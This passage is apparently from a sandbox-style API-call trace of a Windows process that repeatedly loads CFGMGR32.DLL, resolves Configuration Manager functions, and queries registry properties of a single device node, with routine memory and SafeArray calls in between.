lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.539] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.539] malloc (_Size=0x18) returned 0x20abc281b20 [0234.540] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0234.540] malloc (_Size=0xae) returned 0x20abc286870 [0234.540] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc286870, pulLength=0x2dc22fd3f8) returned 0x0 [0234.541] free (_Block=0x20abc286870) [0234.541] malloc (_Size=0x48) returned 0x20abc2ab720 [0234.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x47908c7d, dwHighDateTime=0x1d9eb0c)) [0234.541] SetEvent (hEvent=0x248) returned 1 [0234.545] malloc (_Size=0x18) returned 0x20abc281b20 [0234.545] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abc430818) returned 0x0 [0234.545] free (_Block=0x20abc281b20) [0234.545] malloc (_Size=0x18) returned 0x20abc281e60 [0234.545] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.546] free (_Block=0x20abc281e60) [0234.546] malloc (_Size=0x18) returned 0x20abc281ba0 [0234.546] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.546] free (_Block=0x20abc281ba0) [0234.546] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d370 [0234.546] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.546] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0234.546] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0234.546] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0234.546] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.546] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0234.546] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0234.546] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0234.547] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.547] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.547] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93500, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.548] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0234.548] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d370) returned 1 [0234.549] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.549] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.549] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.550] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.551] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.552] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.552] malloc (_Size=0x18) returned 0x20abc281d40 [0234.552] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0234.553] malloc (_Size=0x54) returned 0x20abc2aa330 [0234.649] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa330, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2aa330, pulLength=0x2dc22fd3f8) returned 0x0 [0234.650] free (_Block=0x20abc2aa330) [0234.650] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.650] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x47a13d6a, dwHighDateTime=0x1d9eb0c)) [0234.651] SetEvent (hEvent=0x248) returned 1 [0234.654] malloc (_Size=0x18) returned 0x20abc281b20 [0234.654] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.654] free (_Block=0x20abc281b20) [0234.654] malloc (_Size=0x18) returned 0x20abc281c80 [0234.654] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0234.654] free (_Block=0x20abc281c80) [0234.654] malloc (_Size=0x18) returned 0x20abc281ea0 [0234.654] SafeArrayPutElement (psa=0x20abba80790, rgIndices=0x2dc22fd4c8, pv=0x20abba79a68) returned 0x0 [0234.654] free (_Block=0x20abc281ea0) [0234.654] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0c3f0 [0234.654] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.654] SafeArrayGetLBound (in: psa=0x20abba80790, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0234.654] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0234.654] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79c70 [0234.654] SafeArrayGetDim (psa=0x20abba80790) returned 0x1 [0234.654] SafeArrayGetUBound (in: psa=0x20abba80790, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0234.655] SafeArrayGetElemsize (psa=0x20abba80790) returned 0x8 [0234.655] SafeArrayGetElement (in: psa=0x20abba80790, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0234.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93550, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93558, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.655] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93560, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0234.656] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79c70) returned 1 [0234.657] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0c3f0) returned 1 [0234.657] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.657] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.658] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.659] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.660] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.661] malloc (_Size=0x18) returned 0x20abc281b60 [0234.661] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.662] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.662] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47a13d6a, dwHighDateTime=0x1d9eb0c)) [0234.681] SetEvent (hEvent=0x248) returned 1 [0234.687] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.687] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.688] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.689] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.690] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.691] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.692] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.692] malloc (_Size=0x18) returned 0x20abc281c40 [0234.692] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.693] malloc (_Size=0x48) returned 0x20abc27cf80 [0234.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47a62214, dwHighDateTime=0x1d9eb0c)) [0234.693] SetEvent (hEvent=0x248) returned 1 [0234.698] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.698] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.698] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.699] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.700] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.701] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.702] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.702] malloc (_Size=0x18) returned 0x20abc281ee0 [0234.702] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.704] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47a8643f, dwHighDateTime=0x1d9eb0c)) [0234.704] SetEvent (hEvent=0x248) returned 1 [0234.708] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.708] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.708] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.709] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.710] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.711] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.711] malloc (_Size=0x18) returned 0x20abc281c40 [0234.711] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0234.712] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.712] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47aac748, dwHighDateTime=0x1d9eb0c)) [0234.712] SetEvent (hEvent=0x248) returned 1 [0234.826] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.826] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0234.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0234.827] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0234.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0234.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0234.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0234.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0234.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0234.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0234.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0234.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0234.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0234.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0234.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0234.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0234.831] malloc (_Size=0x18) returned 0x20abc282020 [0234.831] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x25, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0234.838] malloc (_Size=0x48) returned 0x20abc27cb20 [0234.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x47bdd8b2, dwHighDateTime=0x1d9eb0c)) [0234.839] SetEvent (hEvent=0x248) returned 1 [0234.844] malloc (_Size=0xd8) returned 0x20abc284e70 [0234.844] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0234.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0234.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 